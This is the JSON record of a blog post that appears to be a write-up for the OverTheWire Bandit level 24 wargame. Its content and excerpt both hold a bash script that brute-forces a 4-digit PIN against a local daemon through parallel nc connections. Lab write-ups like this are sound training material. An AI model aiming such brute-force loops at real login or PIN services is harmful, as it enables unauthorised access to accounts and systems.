{"id":972,"date":"2018-04-13T12:16:59","date_gmt":"2018-04-13T16:16:59","guid":{"rendered":"https:\/\/www.joshho.com\/blog\/?p=972"},"modified":"2018-04-13T12:16:59","modified_gmt":"2018-04-13T16:16:59","slug":"overthewire-bandit-24","status":"publish","type":"post","link":"https:\/\/www.joshho.com\/blog\/2018\/04\/13\/overthewire-bandit-24\/","title":{"rendered":"Overthewire Bandit 24"},"content":{"rendered":"<p>A daemon is listening on port 30002 and will give you the password for bandit25 if given the password for bandit24 and a secret numeric 4-digit pincode. There is no way to retrieve the pincode except by going through all of the 10000 combinations, called brute-forcing.<\/p>\n<p><code><\/p>\n<pre lang='bash'>C=32\r\nfor i in {0..282};\r\n  do\r\n    for j in $(seq 0 $(($C-1)));\r\n    do\r\n    k=$((i*$C+j+1000))\r\n    if (( $k % 500 == 0 )) # show progress\r\n    then\r\n      echo $k\r\n    fi\r\n\r\n    echo $banditpass $k | nc localhost 30002 | grep -v Wrong | grep -v Exiting | grep -v checker &\r\n  done\r\n\r\n  while [ `jobs -r | wc -l | tr -d \" \"` >= $C ]; do\r\n    sleep 1\r\n  done\r\ndone\r\n<\/pre>\n<p><\/code><\/p>\n<p>Working within the allowed number of parallel background jobs.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>A daemon is listening on port 30002 and will give you the password for bandit25 if given the password for bandit24 and a secret numeric 4-digit pincode. There is no way to retrieve the pincode except by going through all of the 10000 combinations, called brute-forcing.<\/p>\n<p><code><\/p>\n<pre lang='bash'>C=32\r\nfor i in {0..282};\r\n  do\r\n    for j in $(seq 0 $(($C-1)));\r\n    do\r\n    k=$((i*$C+j+1000))\r\n    if (( $k % 500 == 0 )) # show progress\r\n    then\r\n      echo $k\r\n    fi\r\n\r\n    echo $banditpass $k | nc localhost 30002 | grep -v Wrong | grep -v Exiting | grep -v checker &#038;\r\n  done\r\n\r\n  while [ `jobs -r | wc -l | tr -d \" \"` >= $C ]; do\r\n    sleep 1\r\n  done\r\ndone\r\n<\/pre>\n<p><\/code><\/p>\n<p>Working within the allowed number of parallel background jobs.<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[27,82],"tags":[84,86,85,87,88,83],"_links":{"self":[{"href":"https:\/\/www.joshho.com\/blog\/wp-json\/wp\/v2\/posts\/972"}],"collection":[{"href":"https:\/\/www.joshho.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.joshho.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.joshho.com\/blog\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www.joshho.com\/blog\/wp-json\/wp\/v2\/comments?post=972"}],"version-history":[{"count":0,"href":"https:\/\/www.joshho.com\/blog\/wp-json\/wp\/v2\/posts\/972\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.joshho.com\/blog\/wp-json\/wp\/v2\/media?parent=972"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.joshho.com\/blog\/wp-json\/wp\/v2\/categories?post=972"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.joshho.com\/blog\/wp-json\/wp\/v2\/tags?post=972"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}